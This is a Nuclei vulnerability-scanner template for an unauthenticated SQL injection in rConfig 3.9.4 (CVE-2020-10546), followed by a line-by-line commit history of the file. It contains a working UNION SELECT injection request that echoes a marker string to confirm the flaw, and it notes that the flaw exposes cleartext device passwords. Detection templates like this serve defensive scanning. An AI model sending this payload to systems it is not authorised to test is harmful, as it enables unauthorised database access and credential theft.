nuclei-templates/cves/2020/CVE-2020-10546.yaml

id: CVE-2020-10546
info:
  name: rConfig 3.9.4 SQLi
  author: madrobot
  severity: critical
  description: rConfig 3.9.4 and previous versions has unauthenticated compliancepolicies.inc.php SQL injection. Because, by default, nodes' passwords are stored in cleartext, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.
  reference:
    - https://github.com/theguly/exploits/blob/master/CVE-2020-10546.py
    - https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/
  tags: cve,cve2020,rconfig,sqli
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2020-10546
    cwe-id: CWE-89,CWE-522

requests:
  - method: GET
    path:
      - "{{BaseURL}}/compliancepolicies.inc.php?search=True&searchColumn=policyName&searchOption=contains&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL+--+"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "[project-discovery]"
        part: body
Create CVE-2020-10546.yaml 2021-02-14 19:30:22 +00:00			`id: CVE-2020-10546`
			`info:`
			`name: rConfig 3.9.4 SQLi`
			`author: madrobot`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`severity: critical`
Description 2021-03-24 06:54:09 +00:00			`description: rConfig 3.9.4 and previous versions has unauthenticated compliancepolicies.inc.php SQL injection. Because, by default, nodes' passwords are stored in cleartext, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-18 11:37:49 +00:00			`reference:`
Description 2021-03-24 06:54:09 +00:00			`- https://github.com/theguly/exploits/blob/master/CVE-2020-10546.py`
			`- https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/`
misc changes 2021-02-15 19:05:52 +00:00			`tags: cve,cve2020,rconfig,sqli`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
			`cvss-score: 9.80`
			`cve-id: CVE-2020-10546`
			`cwe-id: CWE-89,CWE-522`
Create CVE-2020-10546.yaml 2021-02-14 19:30:22 +00:00
			`requests:`
			`- method: GET`
			`path:`
			`- "{{BaseURL}}/compliancepolicies.inc.php?search=True&searchColumn=policyName&searchOption=contains&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL+--+"`
			`matchers-condition: and`
			`matchers:`
			`- type: status`
			`status:`
			`- 200`
			`- type: word`
			`words:`
			`- "[project-discovery]"`
			`part: body`